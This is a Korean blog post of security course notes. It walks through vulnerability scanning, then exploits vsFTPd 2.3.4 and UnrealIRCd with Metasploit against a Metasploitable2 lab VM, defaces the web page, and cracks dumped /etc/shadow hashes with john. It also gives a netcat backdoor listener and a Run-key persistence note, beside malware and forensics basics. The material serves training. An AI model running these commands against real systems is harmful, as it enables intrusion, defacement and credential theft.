두 번째 게시물 정리 내용
* 취약점을 점검하는 단계
1단계) 기본 스캔
- Ping scan : 시스템에 On/Off 여부를 판단 ----> 불필요한 시스템이 켜져있는지, 몇대가 사용중인지 등 파악
- TCP scan / Stealth scan / OS scan : 열린 포트와 운영체제 등 확인
- FIN scan / Null scan / X-mas scan : 공격자들이 보안 솔루션 유무를 확인함 ----> 보안 관제시 자주 보임
- Version scan / All scan : 취약한 버전이 설치되어 있는지 확인한다.
2단계) 구글 검색
- 취약점 번호 (CVE-YYYY-NNNN)등을 구글 검색을 통해서 확인 가능하다.
- 취약점 제보사이트 : https://www.exploit-db.com/ (가장 최신 정보 확인)
- 1단계에서 확인한 버전에 취약점이 존재하는지 확인할 수 있습니다.
3단계) 상세한 스캔 단계
- Nmap 등의 취약점 분석도구에서 제공하는 취약점 전용 스크립트 ex) /usr/share/nmap/scripts
- 스크립트를 활용해서 세부적인 진단 ex) find . -name "*[키워드]*" , [키워드]에는 CVE, Service, 취약점 등 입력한다.
4단계) 검증 및 테스트
- 취약점이 실제 Exploit가 가능한지를 검증하는 단계
- 어떤 경우에는 시연을 해야할 수도 있음
* Metasploit를 이용해서 취약점 Exploit
- VMware를 2개 켜서 Kali Linux와 Metasploitable2를 부팅합니다.
- ifconfig 또는 ip addr 명령을 이용해서 IP주소를 확인합니다.
- Kali Linux : 192.168.5.128, Metasploitable2 : 192.168.5.130 (IP주소가 다르면 메모)
* Metasploit 소개
- H.D. Moore가 Perl script로 취약점 분석 스크립트를 만든다. ----> 에러가 너무 많음...
- Rapid7이라는 보안 회사에서 Metasploit 프로젝트를 인수 (유료버전, 무료버전을 영원히 제공하겠다고 약속)
- Rapid7에서 Ruby script로 재작성 ---> 에러가 확 줄어든다.
- Metasploit Framework (무료버전) : 리눅스, 윈도우용 두가지 배포
- Windows용을 설치하면 취약점 스크립트를 악성코드로 인식하는 문제 ---> 삭제됨
- 리눅스용 권장, 설치가 복잡해서 Kali Linux에 설치된 것을 사용하면 편리하다.
세 번째 정리
0) 준비단계
피닉스icon > 08 Exploitation Tools > Metasploit Framework // 최초1회는 DB생성, 목록작성 등 초기단계
msf6> 나오면 준비완료!!!
1) vsFTPd 2.3.4 취약점에 대한 검증
msf6> search vsftpd // Exploit할 모듈을 검색
결과에 auxiliary로 시작하는 스크립트는 보조모듈, exploit로 시작하는 스크립트가 진짜 공격 모듈임
msf6> use 1 // 모듈 장착
msf6> info // 모듈에 대한 설명을 확인
msf6> set rhost 192.168.5.130 // rhost : target host (Victim : Metasploitable2-linux의 IP 입력)
msf6> exploit
결과 : Command shell session 1 opened -----> 쉘을 열었음 (성공!!!)
Victim host의 Shell을 사용할 수 있는 상태
whoami
pwd
echo "You are hacked">>/var/www/index.html // index.html 파일을 생성하고 거기에 텍스트를 추가
chmod 777 /var/www/index.html // root권한으로 만들어서 일반사용자는 읽을 수 없음
rm /var/www/index.html
echo "You are hacked">>/var/www/index.php // 홈페이지 맨 아래에 한줄 추가됨
접속을 끊으려면 ctrl +c
msf6 ( 모듈명 ) > back // 모듈장착이 해제됨
msf6>
2. IRC 취약점에 대한 Metasploit 검증하기 ( search ---> use --> info ---> set rhost --> exploit )
search를 하면 많이 나옴 ----> search CVE-....... // 정확한 모듈을 찾아야 함 : CVE코드 가장 정확
msf6 > search irc // 26개
msf6 > search unrealirc // 서비스 이름으로 검색 ---> 여러개 나올 수 있음
msf6 > search cve-2010-2075 // 취약점 코드 CVE를 넣으면 가장 정확함
msf6 > use 0
msf6 > set rhost 192.168.5.130
msf6 > exploit // 에러 나옴
A payload has not been selected. // 에러 메시지 : payload가 선택되지 않음
msf6 > show payloads // 현재 모듈에서 사용 가능한 페이로드 목록을 보여줌
(Perl은 HD Moore가 초기에 만듦, Ruby는 Rapid7에서 새로 만듦 ----> Ruby가 더 안정적)
(Bind는 Attacker가 Victim쪽으로 접근, Reverse는 Victim이 Attacker에게 접근)
msf6 > set payload 3 // payload/cmd/unix/bind_ruby를 선택함
msf6 > exploit
Command shell session 2 opened (성공!!) ----> 두번째 세션이 열렸다는 의미임
echo "You will die" > /var/www/index.html // >를 1개만 쓰면 덮어쓰기, >>는 이어쓰기(추가)
chmod 777 /var/www/index.html
echo "<font color=red>You will die</font>" > /var/www/index.html
echo "<h1><font color=red>You will die</font></h1>" > /var/www/index.html
echo "<body bgcolor=black><h1><font color=red>You will die</font></h1></body>" > /var/www/index.html
echo "<body bgcolor=black><h1><font color=pink>Congratulations!!</font></h1></body>" > /var/www/index.html
* Metasploit 설정을 잘못한 경우
set paylod [잘못된 페이로드]
unset payload // 다른 페이로드로 바꾸고 싶을때, 장착 해제, 페이로드 이름 안써도 됨
set rhost [잘못된 IP입력]
unset rhost // IP주소 설정해제
set rhost [올바른 IP입력] // 다시 올바른 IP주소 입력
show payloads // 조회할 때는 반드시 복수로, 페이로드는 여러개이므로
set payload [페이로드 이름] // 설정할 때에는 반드시 단수로, 하나만 장착할 것이므로
show options // exploit 하기 직전에 전체적으로 설정이 잘 되었는지 점검하는 명령
sessions -i // 현재 연결된 세션의 개수를 확인할 때
* 악성코드의 종류
1. Virus : 정상파일에 추가로 붙거나 일부 수정되기도 함
ex) hwp.exe 라는 파일이 용량이 100kbytes라고 합시다. Virus에 걸리면 용량이 증가함. 120kbytes가 됨.
2. Worm : 독자적인 파일 형태로 동작, 스스로 메일을 보내기도 함. 트래픽을 많이 발생시키도 함.
ex) svchost.exe , nimda
3. Backdoor : Victim쪽에서 포트를 열고 접속을 기다림. Attacker -----> Victim
---> Backdoor를 통해서 접근하면 공격자에게 root 권한이 주어짐
4. Trojan horse (트로이 목마) : Attacker가 포트를 열고 기다림. Victim ----> Attacker
---> 방화벽을 우회하기 위해서 사용함
* Trojan horse
1) 속임수 : "이메일로 입사지원합니다. 이력서 첨부합니다." "귀하의 블로그에서 저작권 위반 이미지를 사용"
2) 첨부파일 : 비밀번호가 있는 압축파일을 풀면 악성코드가 들어있음 (악성코드는 통신 기능이 있음)
3) 외부 연결 : 악성코드의 네트워크 기능이 실행되면서 공격자 컴퓨터와 연결이 됨 ---> 자료 유출 또는 원격 조종
* 파일 시그니처 (File Signature)
- 파일의 맨앞에 확장자 고유의 표시로 시작
- 파일의 정체성을 의미함
- JPG 파일 : ÿØÿà = FF D8 FF E0
- PE (exe등) : MZ = 4D 5A
- 압축파일(zip, pptx, xlsx, docx, apk) : PK = 50 4B
- 악성코드인지 확인하기 위해서는 실제 파일의 시그니처를 확인해야 함
NSIS 파일은 열리지 않습니다. 어떻게 해야 사진이 열릴까요?
- 기존사진 : FF D8 FF E0 00 10 4A 46 49 46
- NSIS : FF D8 FF E0 00 10 4A 46 49 46
기존 사진에서 FF D8 FF E0 00 10를 블럭설정해서 오른쪽 마우스클릭하고 복사를 한 후에
NSIS를 HxD로 열고, 맨 앞에 커서를 놓고 오른쪽 마우스를 클릭한 후, 삽입으로 붙이기를 해서 FF D8 FF E0 00 10 를 추가해줍니다.
다른이름으로 저장하면서 jpg 확장자를 붙여줍니다.
* 바이러스토탈
- 악성코드인지 아닌지를 확인시켜줌
- 전세계 Anti-Virus 회사들과 API로 연결되어 있음 (Anti-Virus Portal site)
- 몇몇 회사에서 탐지를 못하더라도 다른 회사들을 통해서 악성코드 여부를 확인시켜준다.
1) 윈도우에서 해시값을 구하려면 해시함수 계산기를 이용
https://cafe.naver.com/boanworld/106 에서 fasthash_kr.zip 파일을 다운로드 합니다.
파일 > 파일읽기 > ... > (파일 선택) > 열기 > 실행 -----> 해시값 나옴
2) Kali Linux에 들어있는 악성코드로 테스트 해보기
$ cd /usr/share/windows-binaries
$ md5sum klogger.exe
해시값을 복사해서 virustotal의 Search에 넣고 엔터 -----> 69개 업체중에 59개 업체에서 악성코드로 판단
$ sha1sum plink.exe
$ sha1sum nc.exe // Netcat이라는 아주 유명한 해킹도구
* 악성코드 중에 레지스트리에 등록을 해놓고 부팅할 때마다 시작되도록 만들 수 있음
HKLM\Software\Microsoft\Windows\CurrentVersion\Run 에 등록을 해놓으면 부팅할 때마다 실행됨
nc -l -p 7000 -d // 7000번 포트를 열고 대기 ----> 백도어
* 윈도우 시스템 조사
- Sysinternals 파일 다운로드 경로
https://learn.microsoft.com/en-us/sysinternals/downloads/
sysinternals suite를 클릭해서 다운로드 받고 압축을 푼 다음, 압축 푼 폴더를 잘라내기 해서 C:\ 아래에 붙여넣습니다.
명령 프롬프트를 켜고
cd \
cd sys<tab>
date /T // 컴퓨터의 현재 시간을 확인 ----> 시간이 조작되었는지 확인
* 윈도우 프로세스를 실시간으로 확인하는 명령
cmd> procexp
----> Process Explorer를 이용하면 실시간으로 프로세스 목록을 확인할 수 있음 (2초에 한번씩)
* 해킹당한 윈도우를 조사할 때 유용하게 활용 가능
* 3가지 : 거북목, 터널증후군(손목), 허리디스크(다리꼬기금지)
---> 플랭크 추천
* MAC Time
- Modify time : 파일이 수정된 시간 -----> 포토샵, 그림판 등으로 수정한 시간
- Access time : 파일에 접근한 시간 -----> 실행했거나 사용한 시간
- Create time : 파일이 생성된 시간 -----> 언제 다운로드 했는지 확인
Quiz) Create time보다 Modify가 앞설수 있다???? Yes or No
----> 사진을 찍음(Create) ---> 포토샵 수정(Modify) ---> 내 컴퓨터에 다운로드(Create)
* Forensic Center
- 대검찰청 옆, 경찰청 ===> 압수수색을 통해서 획득한 증거 (HDD, SSD, 휴대폰 메모리 등)
- 지워진 사진등 파일 복원/복구, MAC time을 찾아보기도 함
- 범죄 증거를 법정에 제출하는 방식
* 스마트폰에 있는 시간 : 찍은 이후 수정하면 수정시간이 표시됨
스마트폰의 특징 : 사진을 수정하면 원본사진은 숨기고 수정된 사진을 다른 파일로 저장하고 수정된 사진만 보여줌
----> 용량을 차지하지만 시간이 지나서 공간이 모자라면 덮어쓰기 된다.
실습사전준비) Metasploitable2에서 계정 생성
$ sudo pwd
$ sudo adduser blackpink
icecream
icecream
$ sudo adduser ive
lovedive
lovedive
$ sudo adduser lesserafim
fearless
fearless
$ sudo adduser bts
dynamite
dynamite
실습) Kali에서 Metasploit를 시작할 때
$ sudo msfconsole
search vsftpd
use 1
set rhost 192.168.5.130
exploit
cat /etc/passwd
root ~~~~ bash 까지 블럭설정하고 오른쪽 마우스 눌러서 copy selection
새탭을 열고
$ sudo vi passwd
(PW : kali)
Edit > paste clipboard
:wq
(다시 Metasploit화면으로 와서)
cat /etc/shadow
root ~~~~ :::까지 블럭설정하고 오른쪽 마우스 눌러서 copy selection
아까 그 탭으로 이동
$ sudo vi shadow
Edit > paste clipboard
:wq
$ sudo unshadow passwd shadow > pass.1
$ sudo john pass.1
-----> PW가 좌르륵~~~ 나옴 ( )안이 계정이다.
끝
'시스템, 네트워크 보안' 카테고리의 다른 글
시스템 / 네트워크 보안 [여섯 번째] (5) | 2024.03.13 |
---|---|
시스템 / 네트워크 보안 [다섯 번째 정리] (0) | 2024.03.10 |
시스템 / 네트워크 보안 [네 번째 정리] (2) | 2024.03.08 |
시스템 / 네트워크 보안 [두 번째 정리] (10) | 2024.03.06 |
시스템 / 네트워크 보안 [첫 번째 정리] (3) | 2024.03.06 |